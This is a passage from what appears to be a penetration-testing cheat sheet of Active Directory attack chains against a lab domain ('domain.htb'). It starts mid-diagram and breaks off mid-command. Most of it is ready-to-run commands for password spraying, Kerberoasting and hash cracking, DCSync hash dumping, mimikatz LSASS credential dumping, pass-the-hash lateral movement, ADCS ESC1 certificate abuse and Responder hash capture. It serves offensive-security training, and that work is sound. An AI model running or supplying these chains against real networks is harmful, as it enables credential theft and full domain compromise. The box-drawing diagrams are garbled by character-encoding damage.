# β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

# Step 1: Password spray to get initial foothold
crackmapexec smb DC_IP -u users.txt -p 'Spring2026!' --no-bruteforce
# Result: jsmith:Spring2026!

# Step 2: Run BloodHound to map the domain
bloodhound-python -u jsmith -p 'Spring2026!' -d domain.htb -ns DC_IP -c all
# Import into BloodHound, mark jsmith as Owned

# Step 3: BloodHound shows svc_sql is Kerberoastable and has WriteDACL on DA group
# Kerberoast svc_sql
impacket-GetUserSPNs domain.htb/jsmith:'Spring2026!' -dc-ip DC_IP \
  -request-user svc_sql -outputfile svc_sql.hash

# Step 4: Crack the hash
hashcat -m 13100 svc_sql.hash /usr/share/wordlists/rockyou.txt
# Result: svc_sql:SQLAdmin2019!

# Step 5: Use WriteDACL to grant svc_sql DCSync rights
# (or add to Domain Admins)
impacket-dacledit -action write -rights DCSync -principal svc_sql \
  -target-dn 'DC=domain,DC=htb' domain.htb/svc_sql:'SQLAdmin2019!'

# Step 6: DCSync to dump all hashes
impacket-secretsdump domain.htb/svc_sql:'SQLAdmin2019!'@DC_IP

Chain 2: Phishing β†’ LSASS Dump β†’ Lateral Movement β†’ ADCS β†’ DA

# ═══ ATTACK CHAIN 2 ═══
# Difficulty: Medium | Stealth: Low-Medium | Reliability: Very High
#
# β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
# β”‚  Phishing    │──►│ LSASS Dump   │──►│ Lateral Move │──►│  ADCS ESC1   β”‚
# β”‚  β†’ jsmith PC β”‚   β”‚ β†’ admin hash β”‚   β”‚ β†’ WEB01      β”‚   β”‚ β†’ DA cert    β”‚
# β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

# Step 1: Phishing payload lands on jsmith's workstation
# Macro in document β†’ reverse shell β†’ local priv esc to SYSTEM

# Step 2: Dump LSASS (IT admin was recently logged in)
mimikatz# privilege::debug
mimikatz# sekurlsa::logonpasswords
# Result: it_admin NTLM hash: aabbccdd...

# Step 3: Check where it_admin is local admin
crackmapexec smb 10.10.10.0/24 -u it_admin -H aabbccdd... | grep '(Pwn3d!)'
# Result: WEB01 (10.10.10.50)

# Step 4: Lateral move to WEB01
impacket-wmiexec domain.htb/[email protected] -hashes :aabbccdd...

# Step 5: Run certipy to find vulnerable ADCS templates
certipy find -u [email protected] -hashes :aabbccdd... -dc-ip DC_IP -stdout
# Result: ESC1 vulnerable template "WebServerAuth"

# Step 6: Request certificate as Administrator
certipy req -u [email protected] -hashes :aabbccdd... -dc-ip DC_IP \
  -ca 'domain-CA' -template 'WebServerAuth' \
  -upn [email protected]

# Step 7: Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# Result: Administrator NTLM hash β†’ Domain Admin!

Chain 3: Responder β†’ Relay β†’ RBCD β†’ Delegation Abuse β†’ DA

# ═══ ATTACK CHAIN 3 ═══
# Difficulty: Hard | Stealth: Medium | Reliability: Medium
#
# β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
# β”‚  Responder   │──►│ NTLM Relay   │──►│    RBCD      │──►│ S4U Abuse    β”‚
# β”‚  β†’ NTLMv2    β”‚   β”‚ β†’ LDAP       β”‚   β”‚ β†’ delegate   β”‚   β”‚ β†’ admin TGS  β”‚
# β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

# Step 1: Responder captures NTLMv2 hash from link file on share
sudo responder -I eth0 -dwv

# Step 2: Or better β€” relay to LDAP for RBCD
# Disable SMB/HTTP in Responder.conf, then:
impacket